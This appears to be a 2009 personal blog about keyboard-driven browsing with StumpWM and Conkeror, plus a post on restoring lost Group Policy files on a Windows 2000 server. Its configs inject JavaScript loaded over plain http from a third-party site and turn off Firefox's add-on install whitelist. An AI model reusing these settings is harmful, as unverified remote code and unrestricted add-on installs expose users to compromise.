In Firefox I use TidyRead extension regularly. In the rare cases when TidyRead fails to do its job in the way I expect it to do, I use Readability bookmarklet. Readability, though, has a huge deficiency of being a bookmarklet. I mean, to use it you have to grab the mouse and click it. Of course, one could use keyboard to select Bookmarks menu and press twenty four arrows to get to the bookmarklet, but, of course, this is not what I would like to see. Especially because I love StumpWM window manager which is known for the disregard of mouse-like pointers. I needed a way to call the bookmark from the keyboard.

Here's what I came up with. Below is a piece of my .stumpwmrc file:

(defcommand readability () ()
  (send-meta-key (current-screen) (kbd "C-l"))
  (window-send-string "javascript:(function(){readStyle='style-novel';readSize='size-medium';
readMargin='margin-medium';
_readability_script=document.createElement('SCRIPT');
_readability_script.type='text/javascript';
_readability_script.src='http://lab.arc90.com/experiments/readability/js/readability.js?x='+(Math.random());
document.getElementsByTagName('head')[0].appendChild(_readability_script);
_readability_css=document.createElement('LINK');
_readability_css.rel='stylesheet';
_readability_css.href='http://lab.arc90.com/experiments/readability/css/readability.css';
_readability_css.type='text/css';
_readability_css.media='screen';
document.getElementsByTagName('head')[0].appendChild(_readability_css);
_readability_print_css=document.createElement('LINK');
_readability_print_css.rel='stylesheet';
_readability_print_css.href='http://lab.arc90.com/experiments/readability/css/readability-print.css';
_readability_print_css.media='print';
_readability_print_css.type='text/css';
document.getElementsByTagName('head')[0].appendChild(_readability_print_css);
})();
")
  (send-meta-key (current-screen) (kbd "RET")))
  (define-key *top-map* (kbd "s-p") "readability")

NB! I had to split the long line into a number of shorter ones. Merge them together to make the command work!

The first lines defines a new command which behaves just like you would: "presses" C-l to move the pointer to the address bar of the browser, pastes the full text of the bookmarklet and presses Return. That's it! And the last line maps the new command to a keyboard shortcut super-p.

Group Policies Gone

2009-09-28T05:11:00.000-07:00

Today, a number of my LAN users lost their O: and P: drives, which were mapped to the shares on my old Windows 2000 Server. The drives are mapped in a logon script, defined in a group policy object. When I checked the GPOs, they were not loaded.

Next, I checked the event log on the domain controller and there were numerous Event ID 1000 messages. Some said that "Windows cannot query for the list of Group Policy objects", while others insisted that "Windows cannot access the file gpt.ini for GPO The file must be present at the location <>. (). Group Policy processing aborted."

What I did next was to open the GPO editor and check the GPO, of course. They were there, all four of them, including the default domain policy, but I found I couldn't edit them. All I got was the dialog box saying "Failed to open the Group Policy Object. You may not have appropriate rights."

The GPO permissions were OK. The next step was running gpotool. To my surprise, the only response I got from the tool was "DC list is empty". I had an impression that the AD is down, but it wasn't. From what I could find with Google, DNS could be the point of failure, but DNS was working well, like everything else. Another tool I tried to use at that moment was netdiag, but it gave no results, things were up and running.

I checked whether SYSVOL was accessible from the workstations and it was. The permissions on directories and files in SYSVOL were OK, but some files were missing. So, the domain\Policies was pristinely empty. I tried to create a new policy in the GPO editor and the corresponding directory appeared in sysvol\Policies.

So, I made sure I could recreate the GPOs from scratch, but I didn't have the Default Domain Policy. I found a tool to recreate it, Windows 2000 Default Group Policy Restore Tool. I didn't run it, though. Instead, I decided to compare the contents of my SYSVOL and that in the backed up system. Of course, I found the old policies in the domain\Policies and simply copied them into the corresponding directory. The immediate result was that gpotool could run and produce some meaningful results. So, it complained about a missing policy, but the old ones were there. Altogether, gpotool found seven policies instead of five actually present (the default one, three GPOs I had defined and one more which was created five minutes ago), but it was more or less OK.

So, now I have the default policy and I can use the GPO editor to recreate my old policies. There were only a few of them and it shouldn't take long.

Keyboard navigation addons for Firefox

2009-09-10T22:43:00.000-07:00

As I wrote before, Conkeror doesn't support many useful Firefox extensions. I thought I should go back to Firefox and check a number of Firefox addons for surfing with keyboard: mozless, Hit-A-Hint, NumberFox, nomouse. Much to my surprise, neither of them worked with Firefox 3, all of them were outdated. The only one that worked was Mouseless Browsing, but it lacks some features. To begin with, the link numbering cannot be turned off.

So, if four extensions out of five are abandoned, does it mean that the mouseless browsing in Firefox turned out to be too uncomfortable or even completely impossible?

Conkeror once more

2009-09-08T04:00:00.000-07:00

I've learned to move focus away from the input fields and I found a replacement for TidyRead. See the new configuration file below (unfocus and readability).

// new webjumps:
define_webjump("gread", "http://google.com/reader");
define_webjump("gmail", "https://mail.google.com");
define_webjump("youtube", "http://www.youtube.com/results?search_query=%s&search=Search");
define_webjump("del", "http://delicious.com/search?p=%s&lc=0&atags=&rtags=&context=userposts%7cminaev%7c");


// show history in the url bar:
url_completion_use_bookmarks = false;
url_completion_use_history = true;

// my login at delicious:
add_delicious_webjumps ("minaev");

// install addons from anywhere:
session_pref("xpinstall.whitelist.required", false);

// use tabs:
user_pref("conkeror.load.tab-bar", 1);
require("tab-bar.js");

// auto-save and auto-load session:
require("session.js");
//session_auto_save_file = "/home/minaev/.conkeror.session";
session_auto_save_auto_load = true;
session_auto_save_auto_load_fn = session_auto_save_load_window_current;

//Open Middle-Clicked Links in New Buffers:
require("clicks-in-new-buffer.js");
clicks_in_new_buffer_target = OPEN_NEW_BUFFER; 

// Borrowed from David Kettler (http://www.mozdev.org/pipermail/conkeror/2008-September/001129.html)
interactive("toggle-stylesheets",
            "Toggle whether conkeror uses style sheets (CSS) for the " +
            "current buffer.  It is sometimes useful to turn off style " +
            "sheets when the web site makes obnoxious choices.",
            function(I) {
  var s = I.buffer.document.styleSheets;
  for (var i = 0; i < s.length; i++)
    s[i].disabled = !s[i].disabled;
});

// http://lab.arc90.com/experiments/readability/
interactive("readability_arc90", 
            "Readability is a simple tool that makes reading on the web more enjoyable by removing the clutter around what you are reading", 
            function readability_arc90(I) {
                var document = I.window.buffers.current.document;

                _readability_readStyle=document.createElement('SCRIPT');
                _readability_readStyle.text = 'var readStyle = style-novel;';
                document.getElementsByTagName('head')[0].appendChild(_readability_readStyle);
                _readability_readSize=document.createElement('SCRIPT');
                _readability_readSize.text = 'var readSize = size-large;';
                document.getElementsByTagName('head')[0].appendChild(_readability_readSize);
                _readability_readMargin=document.createElement('SCRIPT');
                _readability_readMargin.text = 'var readMargin = margin-narrow;';
                document.getElementsByTagName('head')[0].appendChild(_readability_readMargin);
                _readability_script=document.createElement('SCRIPT');
                _readability_script.type='text/javascript';
                _readability_script.src='http://lab.arc90.com/experiments/readability/js/readability.js?x='+(Math.random());
                document.getElementsByTagName('head')[0].appendChild(_readability_script);
                _readability_css=document.createElement('LINK');
                _readability_css.rel='stylesheet';
                _readability_css.href='http://lab.arc90.com/experiments/readability/css/readability.css';
                _readability_css.type='text/css';
                _readability_css.media='screen';
                document.getElementsByTagName('head')[0].appendChild(_readability_css);
                _readability_print_css=document.createElement('LINK');
                _readability_print_css.rel='stylesheet';
                _readability_print_css.href='http://lab.arc90.com/experiments/readability/css/readability-print.css';
                _readability_print_css.media='print';
                _readability_print_css.type='text/css';
                document.getElementsByTagName('head')[0].appendChild(_readability_print_css);
            });

//interactive("new-tab",
//      "Open new tab",
//      alternates(follow_new_buffer, follow_new_window);
//      $browser_object="http://google.com");

define_key(content_buffer_normal_keymap, "M-q", "unfocus");
define_key(content_buffer_normal_keymap, "M-s", "toggle-stylesheets");
define_key(content_buffer_normal_keymap, "C-x C-s", "session-save");
define_key(content_buffer_normal_keymap, "F", "follow-new-buffer-background");
define_key(content_buffer_normal_keymap, "C-f", "follow-new-buffer");
define_key(content_buffer_normal_keymap, "d", "follow-new-window");
define_key(content_buffer_normal_keymap, "z", "readability_arc90");

// some Firefox keybindings:
define_key(content_buffer_normal_keymap, "C-page_up", "buffer-previous");
define_key(content_buffer_normal_keymap, "C-page_down", "buffer-next");
//define_key(content_buffer_normal_keymap, "C-t", "new-tab");
define_key(content_buffer_normal_keymap, "C-w", "kill-current-buffer");

What is wrong with Conkeror?

2009-09-07T05:40:00.000-07:00

You have to change focus from input fields to something else if you want to run a command from the keyboard.
I couldn't find a way to do what I used to do with the right click in Firefox, like copy the url, save image, etc.
Too many extensions do not work in Conkeror. Most of all I miss Google Notebook, TidyRead and Flashblock.

Conkeror: Emacs-like browser

2009-09-07T04:53:00.000-07:00

While a long-time user of Firefox, I'm always ready to have a look at the alternatives. Firefox works well, but it's too heavy. Some time ago I found a new Firefox extension called Conkeror, which added Emacs-like keybindings to Firefox. It was too unusual for me at that time and I ditched it. Since then I switched to tiling window managers (first Ion, now Stumpwm) and I thought that Conkeror might fit my new style of work.

It turns out that the new Conkeror is not an extension anymore, but a standalone browser packed with features. It's fully customizable (in JavaScript), extensible (in Python, AFAIU) and, of course, keybound all the way through.

Below is the initialization file I compiled on the very first day with Conkeror:

// shortcuts for Google Reader and Gmail:
define_webjump("gread", "http://google.com/reader");
define_webjump("gmail", "https://mail.google.com");

// keybindings to open links in new buffer and new window
define_key(content_buffer_normal_keymap, "F", "follow-new-buffer-background");
define_key(content_buffer_normal_keymap, "C-f", "follow-new-buffer");
define_key(content_buffer_normal_keymap, "d", "follow-new-window");

// show history items when typing URL:
url_completion_use_bookmarks = false;
url_completion_use_history = true;

// use my delicious:
add_delicious_webjumps ("minaev");

// allow installation of addons from any URL:
session_pref("xpinstall.whitelist.required", false);

// show Firefox-like tabs:
user_pref("conkeror.load.tab-bar", 1);
require("tab-bar.js");

There's a lot of things to borrow from other RC files, but the first steps were made.

I started by installing Conkeror packaged with Ubuntu 9.04, version 080629. This version could not find the location of the Conkeror init file till I explicitly pointed at the file in .conkeror.mozdev.org/conkeror/<profile>/prefs.js, where I added a new line:

user_pref('conkeror.rcfile', '/home/minaev/.conkerorrc');

The Ubuntu version did not support tabs, so I had to grab a Debian package from the Conkeror web site, version 090624.